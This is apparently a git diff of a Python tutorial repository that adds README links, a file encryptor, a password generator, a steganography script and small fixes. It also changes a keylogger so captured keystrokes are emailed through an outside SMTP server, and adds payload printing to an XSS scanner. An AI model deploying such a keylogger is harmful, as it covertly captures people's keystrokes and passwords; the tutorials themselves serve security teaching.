diff --git a/README.md b/README.md index 99d42d30..e05f12b1 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Getting Started With Scapy: Python Network Manipulation Tool](https://www.thepythoncode.com/article/getting-started-with-scapy) - [Building an ARP Spoofer](https://www.thepythoncode.com/article/building-arp-spoofer-using-scapy). ([code](scapy/arp-spoofer)) - [Detecting ARP Spoof attacks](https://www.thepythoncode.com/article/detecting-arp-spoof-attacks-using-scapy). ([code](scapy/arp-spoof-detector)) - - DHCP Listener script. ([code](scapy/dhcp_listener)) + - [How to Make a DHCP Listener using Scapy in Python](https://www.thepythoncode.com/article/dhcp-listener-using-scapy-in-python). ([code](scapy/dhcp_listener)) - [Fake Access Point Generator](https://www.thepythoncode.com/article/create-fake-access-points-scapy). ([code](scapy/fake-access-point)) - [Forcing a device to disconnect using scapy in Python](https://www.thepythoncode.com/article/force-a-device-to-disconnect-scapy). ([code](scapy/network-kicker)) - [Simple Network Scanner](https://www.thepythoncode.com/article/building-network-scanner-using-scapy). ([code](scapy/network-scanner)) @@ -36,6 +36,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Extract Chrome Cookies in Python](https://www.thepythoncode.com/article/extract-chrome-cookies-python). ([code](ethical-hacking/chrome-cookie-extractor)) - [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python). ([code](ethical-hacking/get-wifi-passwords)) - [How to Make a MAC Address Changer in Python](https://www.thepythoncode.com/article/make-a-mac-address-changer-in-python). ([code](ethical-hacking/mac-address-changer)) + - [How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python). ([code](ethical-hacking/password-generator)) - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning) - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp) @@ -52,6 +53,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Text Generation with Transformers in Python](https://www.thepythoncode.com/article/text-generation-with-transformers-in-python). ([code](machine-learning/nlp/text-generation-transformers)) - [How to Paraphrase Text using Transformers in Python](https://www.thepythoncode.com/article/paraphrase-text-using-transformers-in-python). ([code](machine-learning/nlp/text-paraphrasing)) - [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python). ([code](machine-learning/nlp/fake-news-classification)) + - [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy). ([code](machine-learning/nlp/named-entity-recognition)) - ### [Computer Vision](https://www.thepythoncode.com/topic/computer-vision) - [How to Detect Human Faces in Python using OpenCV](https://www.thepythoncode.com/article/detect-faces-opencv-python). ([code](machine-learning/face_detection)) - [How to Make an Image Classifier in Python using TensorFlow and Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier)) @@ -86,6 +88,14 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Credit Card Fraud Detection in Python](https://www.thepythoncode.com/article/credit-card-fraud-detection-using-sklearn-in-python#near-miss). ([code](machine-learning/credit-card-fraud-detection)) - [Customer Churn Prediction in Python](https://www.thepythoncode.com/article/customer-churn-detection-using-sklearn-in-python). ([code](machine-learning/customer-churn-detection)) - [Recommender Systems using Association Rules Mining in Python](https://www.thepythoncode.com/article/build-a-recommender-system-with-association-rule-mining-in-python). ([code](machine-learning/recommender-system-using-association-rules)) + - [Handling Imbalanced Datasets: A Case Study with Customer Churn](https://www.thepythoncode.com/article/handling-imbalanced-datasets-sklearn-in-python). ([code](machine-learning/handling-inbalance-churn-data)) + - [Logistic Regression using PyTorch in Python](https://www.thepythoncode.com/article/logistic-regression-using-pytorch). ([code](machine-learning/logistic-regression-in-pytorch)) + - [Dropout Regularization using PyTorch in Python](https://www.thepythoncode.com/article/dropout-regularization-in-pytorch). ([code](machine-learning/dropout-in-pytorch)) + - [K-Fold Cross Validation using Scikit-Learn in Python](https://www.thepythoncode.com/article/kfold-cross-validation-using-sklearn-in-python). ([code](machine-learning/k-fold-cross-validation-sklearn)) + - [Dimensionality Reduction: Feature Extraction using Scikit-learn in Python](https://www.thepythoncode.com/article/dimensionality-reduction-using-feature-extraction-sklearn). ([code](machine-learning/dimensionality-reduction-feature-extraction)) + - [Dimensionality Reduction: Using Feature Selection in Python](https://www.thepythoncode.com/article/dimensionality-reduction-feature-selection). ([code](machine-learning/dimensionality-reduction-feature-selection)) + - [A Guide to Explainable AI Using Python](https://www.thepythoncode.com/article/explainable-ai-model-python). ([code](machine-learning/explainable-ai)) + - [Autoencoders for Dimensionality Reduction using TensorFlow in Python](https://www.thepythoncode.com/article/feature-extraction-dimensionality-reduction-autoencoders-python-keras). ([code](machine-learning/feature-extraction-autoencoders)) - ### [General Python Topics](https://www.thepythoncode.com/topic/general-python-topics) - [How to Make Facebook Messenger bot in Python](https://www.thepythoncode.com/article/make-bot-fbchat-python). ([code](general/messenger-bot)) @@ -99,11 +109,19 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Get the Size of Directories in Python](https://www.thepythoncode.com/article/get-directory-size-in-bytes-using-python). ([code](general/calculate-directory-size)) - [How to Get Geographic Locations in Python](https://www.thepythoncode.com/article/get-geolocation-in-python). ([code](general/geolocation)) - [How to Assembly, Disassembly and Emulate Machine Code using Python](https://www.thepythoncode.com/article/arm-x86-64-assembly-disassembly-and-emulation-in-python). ([code](general/assembly-code)) - - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions)) - - [Asynchronous Tasks with Celery in Python](https://www.thepythoncode.com/article/async-tasks-with-celery-redis-and-flask-in-python). ([code](https://github.com/bassemmarji/flask_sync_async)) - [How to Change Text Color in Python](https://www.thepythoncode.com/article/change-text-color-in-python). ([code](general/printing-in-colors)) - [How to Create a Watchdog in Python](https://www.thepythoncode.com/article/create-a-watchdog-in-python). ([code](general/directory-watcher)) - [How to Convert Pandas Dataframes to HTML Tables in Python](https://www.thepythoncode.com/article/convert-pandas-dataframe-to-html-table-python). ([code](general/dataframe-to-html)) + - [How to Make a Simple Math Quiz Game in Python](https://www.thepythoncode.com/article/make-a-simple-math-quiz-game-in-python). ([code](general/simple-math-game)) + - [How to Make a Network Usage Monitor in Python](https://www.thepythoncode.com/article/make-a-network-usage-monitor-in-python). ([code](general/network-usage)) + - [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python). ([code](general/docx-file-replacer)) + - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game)) + - [Zipf's Word Frequency Plot with Python](https://www.thepythoncode.com/article/plot-zipfs-law-using-matplotlib-python). ([code](general/zipf-curve)) + - [How to Plot Weather Temperature in Python](https://www.thepythoncode.com/article/interactive-weather-plot-with-matplotlib-and-requests). ([code](general/interactive-weather-plot/)) + - [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python). ([code](general/generate-svg-country-map)) + - [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum)) + - [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas)) + - [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css)) @@ -124,6 +142,8 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Automate Login using Selenium in Python](https://www.thepythoncode.com/article/automate-login-to-websites-using-selenium-in-python). ([code](web-scraping/automate-login)) - [How to Make a Currency Converter in Python](https://www.thepythoncode.com/article/make-a-currency-converter-in-python). ([code](web-scraping/currency-converter)) - [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python). ([code](web-scraping/extract-google-trends-data)) + - [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python). ([code](web-scraping/youtube-video-downloader)) + - [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python). ([code](web-scraping/youtube-mp3-downloader)) - ### [Python Standard Library](https://www.thepythoncode.com/topic/python-standard-library) - [How to Transfer Files in the Network using Sockets in Python](https://www.thepythoncode.com/article/send-receive-files-using-sockets-python). ([code](general/transfer-files/)) @@ -144,6 +164,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Delete Emails in Python](https://www.thepythoncode.com/article/deleting-emails-in-python). ([code](python-standard-library/deleting-emails)) - [Daemon Threads in Python](https://www.thepythoncode.com/article/daemon-threads-in-python). ([code](python-standard-library/daemon-thread)) - [How to Organize Files by Extension in Python](https://www.thepythoncode.com/article/organize-files-by-extension-with-python). ([code](python-standard-library/extension-separator)) + - [How to Split a String In Python](https://www.thepythoncode.com/article/split-a-string-in-python). ([code](python-standard-library/split-string)) - ### [Using APIs](https://www.thepythoncode.com/topic/using-apis-in-python) - [How to Automate your VPS or Dedicated Server Management in Python](https://www.thepythoncode.com/article/automate-veesp-server-management-in-python). ([code](general/automating-server-management)) @@ -158,6 +179,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Use Gmail API in Python](https://www.thepythoncode.com/article/use-gmail-api-in-python). ([code](general/gmail-api)) - [How to Use YouTube API in Python](https://www.thepythoncode.com/article/using-youtube-api-in-python). ([code](general/youtube-api)) - [Webhooks in Python with Flask](https://www.thepythoncode.com/article/webhooks-in-python-with-flask). ([code](https://github.com/bassemmarji/Flask_Webhook)) + - [How to Make a Language Detector in Python](https://www.thepythoncode.com/article/language-detector-in-python). ([code](general/language-detector)) - ### [Database](https://www.thepythoncode.com/topic/using-databases-in-python) - [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python). ([code](database/mysql-connector)) @@ -198,4 +220,33 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python). ([code](python-for-multimedia/add-audio-to-video)) - [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python). ([code](python-for-multimedia/compress-image)) +- ### [Web Programming](https://www.thepythoncode.com/topic/web-programming) + - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions)) + - [Asynchronous Tasks with Celery in Python](https://www.thepythoncode.com/article/async-tasks-with-celery-redis-and-flask-in-python). ([code](https://github.com/bassemmarji/flask_sync_async)) + - [How to Build a CRUD App with Flask and SQLAlchemy in Python](https://www.thepythoncode.com/article/building-crud-app-with-flask-and-sqlalchemy). ([code](web-programming/bookshop-crud-app-flask)) + - [How to Build an English Dictionary App with Django in Python](https://www.thepythoncode.com/article/build-dictionary-app-with-django-and-pydictionary-api-python). ([code](web-programming/djangodictionary)) + - [How to Build a CRUD Application using Django in Python](https://www.thepythoncode.com/article/build-bookstore-app-with-django-backend-python). ([code](web-programming/bookshop-crud-app-django)) + - [How to Build a Weather App using Django in Python](https://www.thepythoncode.com/article/weather-app-django-openweather-api-using-python). ([code](web-programming/django-weather-app)) + - [How to Build an Authentication System in Django](https://www.thepythoncode.com/article/authentication-system-in-django-python). ([code](web-programming/django-authentication)) + - [How to Make a Blog using Django in Python](https://www.thepythoncode.com/article/create-a-blog-using-django-in-python). ([code](https://github.com/chepkiruidorothy/simple-blog-site)) + - [How to Make a Todo App using Django in Python](https://www.thepythoncode.com/article/build-a-todo-app-with-django-in-python). ([code](https://github.com/chepkiruidorothy/todo-app-simple/tree/master)) + - [How to Build an Email Address Verifier App using Django in Python](https://www.thepythoncode.com/article/build-an-email-verifier-app-using-django-in-python). ([code](web-programming/webbased-emailverifier)) + +- ### [GUI Programming](https://www.thepythoncode.com/topic/gui-programming) + - [How to Make a Text Editor using Tkinter in Python](https://www.thepythoncode.com/article/text-editor-using-tkinter-python). ([code](gui-programming/text-editor)) + - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) + - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame)) + - [How to Make a File Explorer using Tkinter in Python](https://www.thepythoncode.com/article/create-a-simple-file-explorer-using-tkinter-in-python). ([code](gui-programming/file-explorer)) + - [How to Make a Calculator with Tkinter in Python](https://www.thepythoncode.com/article/make-a-calculator-app-using-tkinter-in-python). ([code](gui-programming/calculator-app)) + - [How to Make a Typing Speed Tester with Tkinter in Python](https://www.thepythoncode.com/article/how-to-make-typing-speed-tester-in-python-using-tkinter). ([code](gui-programming/type-speed-tester)) + - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator)) + - [How to Make a Markdown Editor using Tkinter in Python](https://www.thepythoncode.com/article/markdown-editor-with-tkinter-in-python). ([code](gui-programming/markdown-editor)) + - [How to Build a GUI Currency Converter using Tkinter in Python](https://www.thepythoncode.com/article/currency-converter-gui-using-tkinter-python). ([code](gui-programming/currency-converter-gui/)) + - [How to Detect Gender by Name using Python](https://www.thepythoncode.com/article/gender-predictor-gui-app-tkinter-genderize-api-python). ([code](gui-programming/genderize-app)) + - [How to Build a Spreadsheet App with Tkinter in Python](https://www.thepythoncode.com/article/spreadsheet-app-using-tkinter-in-python). ([code](gui-programming/spreadsheet-app)) + - [How to Make a Rich Text Editor with Tkinter in Python](https://www.thepythoncode.com/article/create-rich-text-editor-with-tkinter-python). ([code](gui-programming/rich-text-editor)) + - [How to Make a Python Code Editor using Tkinter in Python](https://www.thepythoncode.com/article/python-code-editor-using-tkinter-python). ([code](gui-programming/python-code-editor/)) + - [How to Make an Age Calculator in Python](https://www.thepythoncode.com/article/age-calculator-using-tkinter-python). ([code](gui-programming/age-calculator)) + - [How to Create an Alarm Clock App using Tkinter in Python](https://www.thepythoncode.com/article/build-an-alarm-clock-app-using-tkinter-python). ([code](gui-programming/alarm-clock-app)) + For any feedback, please consider pulling requests. diff --git a/ethical-hacking/file-encryption/crypt_password.py b/ethical-hacking/file-encryption/crypt_password.py new file mode 100644 index 00000000..40e6ffd1 --- /dev/null +++ b/ethical-hacking/file-encryption/crypt_password.py @@ -0,0 +1,124 @@ +import cryptography +from cryptography.fernet import Fernet +from cryptography.hazmat.primitives.kdf.scrypt import Scrypt + +import secrets +import base64 +import getpass + + +def generate_salt(size=16): + """Generate the salt used for key derivation, + `size` is the length of the salt to generate""" + return secrets.token_bytes(size) + + +def derive_key(salt, password): + """Derive the key from the `password` using the passed `salt`""" + kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1) + return kdf.derive(password.encode()) + + +def load_salt(): + # load salt from salt.salt file + return open("salt.salt", "rb").read() + + +def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True): + """ + Generates a key from a `password` and the salt. + If `load_existing_salt` is True, it'll load the salt from a file + in the current directory called "salt.salt". + If `save_salt` is True, then it will generate a new salt + and save it to "salt.salt" + """ + if load_existing_salt: + # load existing salt + salt = load_salt() + elif save_salt: + # generate new salt and save it + salt = generate_salt(salt_size) + with open("salt.salt", "wb") as salt_file: + salt_file.write(salt) + # generate the key from the salt and the password + derived_key = derive_key(salt, password) + # encode it using Base 64 and return it + return base64.urlsafe_b64encode(derived_key) + + +def encrypt(filename, key): + """ + Given a filename (str) and key (bytes), it encrypts the file and write it + """ + f = Fernet(key) + with open(filename, "rb") as file: + # read all file data + file_data = file.read() + # encrypt data + encrypted_data = f.encrypt(file_data) + # write the encrypted file + with open(filename, "wb") as file: + file.write(encrypted_data) + + +def decrypt(filename, key): + """ + Given a filename (str) and key (bytes), it decrypts the file and write it + """ + f = Fernet(key) + with open(filename, "rb") as file: + # read the encrypted data + encrypted_data = file.read() + # decrypt data + try: + decrypted_data = f.decrypt(encrypted_data) + except cryptography.fernet.InvalidToken: + print("Invalid token, most likely the password is incorrect") + return + # write the original file + with open(filename, "wb") as file: + file.write(decrypted_data) + print("File decrypted successfully") + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="File Encryptor Script with a Password") + parser.add_argument("file", help="File to encrypt/decrypt") + parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated", + type=int) + parser.add_argument("-e", "--encrypt", action="store_true", + help="Whether to encrypt the file, only -e or -d can be specified.") + parser.add_argument("-d", "--decrypt", action="store_true", + help="Whether to decrypt the file, only -e or -d can be specified.") + + args = parser.parse_args() + file = args.file + + if args.encrypt: + password = getpass.getpass("Enter the password for encryption: ") + elif args.decrypt: + password = getpass.getpass("Enter the password you used for encryption: ") + + if args.salt_size: + key = generate_key(password, salt_size=args.salt_size, save_salt=True) + else: + key = generate_key(password, load_existing_salt=True) + + encrypt_ = args.encrypt + decrypt_ = args.decrypt + + if encrypt_ and decrypt_: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") + elif encrypt_: + encrypt(file, key) + elif decrypt_: + decrypt(file, key) + else: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") + + + + + + diff --git a/ethical-hacking/keylogger/keylogger.py b/ethical-hacking/keylogger/keylogger.py index 8b303381..fa815f12 100644 --- a/ethical-hacking/keylogger/keylogger.py +++ b/ethical-hacking/keylogger/keylogger.py @@ -3,10 +3,12 @@ # Timer is to make a method runs after an `interval` amount of time from threading import Timer from datetime import datetime +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on -EMAIL_ADDRESS = "put_real_address_here@gmail.com" -EMAIL_PASSWORD = "put_real_pw" +EMAIL_ADDRESS = "email@provider.tld" +EMAIL_PASSWORD = "password_here" class Keylogger: def __init__(self, interval, report_method="email"): @@ -59,17 +61,37 @@ def report_to_file(self): print(self.log, file=f) print(f"[+] Saved {self.filename}.txt") - def sendmail(self, email, password, message): + def prepare_mail(self, message): + """Utility function to construct a MIMEMultipart from a text + It creates an HTML version as well as text version + to be sent as an email""" + msg = MIMEMultipart("alternative") + msg["From"] = EMAIL_ADDRESS + msg["To"] = EMAIL_ADDRESS + msg["Subject"] = "Keylogger logs" + # simple paragraph, feel free to edit + html = f"
{message}
" + text_part = MIMEText(message, "plain") + html_part = MIMEText(html, "html") + msg.attach(text_part) + msg.attach(html_part) + # after making the mail, convert back as string message + return msg.as_string() + + def sendmail(self, email, password, message, verbose=1): # manages a connection to an SMTP server - server = smtplib.SMTP(host="smtp.gmail.com", port=587) + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + server = smtplib.SMTP(host="smtp.office365.com", port=587) # connect to the SMTP server as TLS mode ( for security ) server.starttls() # login to the email account server.login(email, password) - # send the actual message - server.sendmail(email, email, message) + # send the actual message after preparation + server.sendmail(email, email, self.prepare_mail(message)) # terminates the session server.quit() + if verbose: + print(f"{datetime.now()} - Sent an email to {email} containing: {message}") def report(self): """ @@ -85,8 +107,8 @@ def report(self): self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) elif self.report_method == "file": self.report_to_file() - # if you want to print in the console, uncomment below line - # print(f"[{self.filename}] - {self.log}") + # if you don't want to print in the console, comment below line + print(f"[{self.filename}] - {self.log}") self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) @@ -102,6 +124,8 @@ def start(self): keyboard.on_release(callback=self.callback) # start reporting the keylogs self.report() + # make a simple message + print(f"{datetime.now()} - Started keylogger") # block the current thread, wait until CTRL+C is pressed keyboard.wait() diff --git a/ethical-hacking/password-generator/README.md b/ethical-hacking/password-generator/README.md new file mode 100644 index 00000000..5152fc5b --- /dev/null +++ b/ethical-hacking/password-generator/README.md @@ -0,0 +1 @@ +# [How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python) \ No newline at end of file diff --git a/ethical-hacking/password-generator/password_generator.py b/ethical-hacking/password-generator/password_generator.py new file mode 100644 index 00000000..b122d4bd --- /dev/null +++ b/ethical-hacking/password-generator/password_generator.py @@ -0,0 +1,72 @@ +from argparse import ArgumentParser +import secrets +import random +import string + +# Setting up the Argument Parser +parser = ArgumentParser( + prog='Password Generator.', + description='Generate any number of passwords with this tool.' +) + +# Adding the arguments to the parser +parser.add_argument("-n", "--numbers", default=0, help="Number of digits in the PW", type=int) +parser.add_argument("-l", "--lowercase", default=0, help="Number of lowercase chars in the PW", type=int) +parser.add_argument("-u", "--uppercase", default=0, help="Number of uppercase chars in the PW", type=int) +parser.add_argument("-s", "--special-chars", default=0, help="Number of special chars in the PW", type=int) + +# add total pw length argument +parser.add_argument("-t", "--total-length", type=int, + help="The total password length. If passed, it will ignore -n, -l, -u and -s, " \ + "and generate completely random passwords with the specified length") + +# The amount is a number so we check it to be of type int. +parser.add_argument("-a", "--amount", default=1, type=int) +parser.add_argument("-o", "--output-file") + +# Parsing the command line arguments. +args = parser.parse_args() + +# list of passwords +passwords = [] +# Looping through the amount of passwords. +for _ in range(args.amount): + if args.total_length: + # generate random password with the length + # of total_length based on all available characters + passwords.append("".join( + [secrets.choice(string.digits + string.ascii_letters + string.punctuation) \ + for _ in range(args.total_length)])) + else: + password = [] + # If / how many numbers the password should contain + for _ in range(args.numbers): + password.append(secrets.choice(string.digits)) + + # If / how many uppercase characters the password should contain + for _ in range(args.uppercase): + password.append(secrets.choice(string.ascii_uppercase)) + + # If / how many lowercase characters the password should contain + for _ in range(args.lowercase): + password.append(secrets.choice(string.ascii_lowercase)) + + # If / how many special characters the password should contain + for _ in range(args.special_chars): + password.append(secrets.choice(string.punctuation)) + + # Shuffle the list with all the possible letters, numbers and symbols. + random.shuffle(password) + + # Get the letters of the string up to the length argument and then join them. + password = ''.join(password) + + # append this password to the overall list of password. + passwords.append(password) + +# Store the password to a .txt file. +if args.output_file: + with open(args.output_file, 'w') as f: + f.write('\n'.join(passwords)) + +print('\n'.join(passwords)) diff --git a/ethical-hacking/steganography/README.md b/ethical-hacking/steganography/README.md index cc9d72e8..18d6fe07 100644 --- a/ethical-hacking/steganography/README.md +++ b/ethical-hacking/steganography/README.md @@ -39,3 +39,21 @@ To run this: [+] Decoding... [+] Decoded data: This is some secret data. ``` + +- To encode the `foo.pdf` file into the `image.PNG` image, using `steganography_advanced.py` script: + ``` + $ python steganography_advanced.py -e image.PNG -f foo.pdf -b 1 + ``` + **Output:** + ``` + [*] Maximum bytes to encode: 125028 + [*] Data size: 84158 + [*] Encoding data... + [+] Saved encoded image. + ``` +- Now decoding it into a file `foo_decoded.pdf`: + ``` + python steganography_advanced.py -d image_encoded.PNG -f foo_decoded.pdf -b 1 + [+] Decoding... + [+] File decoded, foo_decoded.pdf is saved successfully. + ``` diff --git a/ethical-hacking/steganography/data.csv b/ethical-hacking/steganography/data.csv new file mode 100644 index 00000000..1fe75b33 --- /dev/null +++ b/ethical-hacking/steganography/data.csv @@ -0,0 +1,3266 @@ +date,open,high,low,close,adjclose,volume,ticker +2010-07-17,0.049509998410940004,0.049509998410940004,0.049509998410940004,0.049509998410940004,0.049509998410940004,0,BTC-USD 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+2019-06-25,11035.849609375,11468.4697265625,10992.3701171875,11386.009765625,11386.009765625,715423168,BTC-USD diff --git a/ethical-hacking/steganography/encoded_image.PNG b/ethical-hacking/steganography/encoded_image.PNG deleted file mode 100644 index d1d6041d..00000000 Binary files a/ethical-hacking/steganography/encoded_image.PNG and /dev/null differ diff --git a/ethical-hacking/steganography/foo.pdf b/ethical-hacking/steganography/foo.pdf new file mode 100644 index 00000000..742e0185 Binary files /dev/null and b/ethical-hacking/steganography/foo.pdf differ diff --git a/ethical-hacking/steganography/steganography_advanced.py b/ethical-hacking/steganography/steganography_advanced.py new file mode 100644 index 00000000..b5f48435 --- /dev/null +++ b/ethical-hacking/steganography/steganography_advanced.py @@ -0,0 +1,149 @@ +import cv2 +import numpy as np +import os + +def to_bin(data): + """Convert `data` to binary format as string""" + if isinstance(data, str): + return ''.join([ format(ord(i), "08b") for i in data ]) + elif isinstance(data, bytes): + return ''.join([ format(i, "08b") for i in data ]) + elif isinstance(data, np.ndarray): + return [ format(i, "08b") for i in data ] + elif isinstance(data, int) or isinstance(data, np.uint8): + return format(data, "08b") + else: + raise TypeError("Type not supported.") + + +def encode(image_name, secret_data, n_bits=2): + # read the image + image = cv2.imread(image_name) + # maximum bytes to encode + n_bytes = image.shape[0] * image.shape[1] * 3 * n_bits // 8 + print("[*] Maximum bytes to encode:", n_bytes) + print("[*] Data size:", len(secret_data)) + if len(secret_data) > n_bytes: + raise ValueError(f"[!] Insufficient bytes ({len(secret_data)}), need bigger image or less data.") + print("[*] Encoding data...") + # add stopping criteria + if isinstance(secret_data, str): + secret_data += "=====" + elif isinstance(secret_data, bytes): + secret_data += b"=====" + data_index = 0 + # convert data to binary + binary_secret_data = to_bin(secret_data) + # size of data to hide + data_len = len(binary_secret_data) + for bit in range(1, n_bits+1): + for row in image: + for pixel in row: + # convert RGB values to binary format + r, g, b = to_bin(pixel) + # modify the least significant bit only if there is still data to store + if data_index < data_len: + if bit == 1: + # least significant red pixel bit + pixel[0] = int(r[:-bit] + binary_secret_data[data_index], 2) + elif bit > 1: + # replace the `bit` least significant bit of the red pixel with the data bit + pixel[0] = int(r[:-bit] + binary_secret_data[data_index] + r[-bit+1:], 2) + data_index += 1 + if data_index < data_len: + if bit == 1: + # least significant green pixel bit + pixel[1] = int(g[:-bit] + binary_secret_data[data_index], 2) + elif bit > 1: + # replace the `bit` least significant bit of the green pixel with the data bit + pixel[1] = int(g[:-bit] + binary_secret_data[data_index] + g[-bit+1:], 2) + data_index += 1 + if data_index < data_len: + if bit == 1: + # least significant blue pixel bit + pixel[2] = int(b[:-bit] + binary_secret_data[data_index], 2) + elif bit > 1: + # replace the `bit` least significant bit of the blue pixel with the data bit + pixel[2] = int(b[:-bit] + binary_secret_data[data_index] + b[-bit+1:], 2) + data_index += 1 + # if data is encoded, just break out of the loop + if data_index >= data_len: + break + return image + + +def decode(image_name, n_bits=1, in_bytes=False): + print("[+] Decoding...") + # read the image + image = cv2.imread(image_name) + binary_data = "" + for bit in range(1, n_bits+1): + for row in image: + for pixel in row: + r, g, b = to_bin(pixel) + binary_data += r[-bit] + binary_data += g[-bit] + binary_data += b[-bit] + + # split by 8-bits + all_bytes = [ binary_data[i: i+8] for i in range(0, len(binary_data), 8) ] + # convert from bits to characters + if in_bytes: + # if the data we'll decode is binary data, + # we initialize bytearray instead of string + decoded_data = bytearray() + for byte in all_bytes: + # append the data after converting from binary + decoded_data.append(int(byte, 2)) + if decoded_data[-5:] == b"=====": + # exit out of the loop if we find the stopping criteria + break + else: + decoded_data = "" + for byte in all_bytes: + decoded_data += chr(int(byte, 2)) + if decoded_data[-5:] == "=====": + break + return decoded_data[:-5] + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="Steganography encoder/decoder, this Python scripts encode data within images.") + parser.add_argument("-t", "--text", help="The text data to encode into the image, this only should be specified for encoding") + parser.add_argument("-f", "--file", help="The file to hide into the image, this only should be specified while encoding") + parser.add_argument("-e", "--encode", help="Encode the following image") + parser.add_argument("-d", "--decode", help="Decode the following image") + parser.add_argument("-b", "--n-bits", help="The number of least significant bits of the image to encode", type=int, default=2) + + args = parser.parse_args() + if args.encode: + # if the encode argument is specified + if args.text: + secret_data = args.text + elif args.file: + with open(args.file, "rb") as f: + secret_data = f.read() + input_image = args.encode + # split the absolute path and the file + path, file = os.path.split(input_image) + # split the filename and the image extension + filename, ext = file.split(".") + output_image = os.path.join(path, f"{filename}_encoded.{ext}") + # encode the data into the image + encoded_image = encode(image_name=input_image, secret_data=secret_data, n_bits=args.n_bits) + # save the output image (encoded image) + cv2.imwrite(output_image, encoded_image) + print("[+] Saved encoded image.") + if args.decode: + input_image = args.decode + if args.file: + # decode the secret data from the image and write it to file + decoded_data = decode(input_image, n_bits=args.n_bits, in_bytes=True) + with open(args.file, "wb") as f: + f.write(decoded_data) + print(f"[+] File decoded, {args.file} is saved successfully.") + else: + # decode the secret data from the image and print it in the console + decoded_data = decode(input_image, n_bits=args.n_bits) + print("[+] Decoded data:", decoded_data) \ No newline at end of file diff --git a/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py b/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py index 010eb0a6..5395d4d3 100644 --- a/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py +++ b/ethical-hacking/xss-vulnerability-scanner/xss_scanner.py @@ -16,7 +16,7 @@ def get_form_details(form): """ details = {} # get the form action (target url) - action = form.attrs.get("action").lower() + action = form.attrs.get("action", "").lower() # get the form method (POST, GET, etc.) method = form.attrs.get("method", "get").lower() # get all the input details such as type and name @@ -57,6 +57,8 @@ def submit_form(form_details, url, value): # then add them to the data of form submission data[input_name] = input_value + print(f"[+] Submitting malicious payload to {target_url}") + print(f"[+] Data: {data}") if form_details["method"] == "post": return requests.post(target_url, data=data) else: diff --git a/general/calculate-directory-size/get_directory_size.py b/general/calculate-directory-size/get_directory_size.py index a5b2609b..9f62df8b 100644 --- a/general/calculate-directory-size/get_directory_size.py +++ b/general/calculate-directory-size/get_directory_size.py @@ -27,7 +27,10 @@ def get_directory_size(directory): total += entry.stat().st_size elif entry.is_dir(): # if it's a directory, recursively call this function - total += get_directory_size(entry.path) + try: + total += get_directory_size(entry.path) + except FileNotFoundError: + pass except NotADirectoryError: # if `directory` isn't a directory, get the file size then return os.path.getsize(directory) diff --git 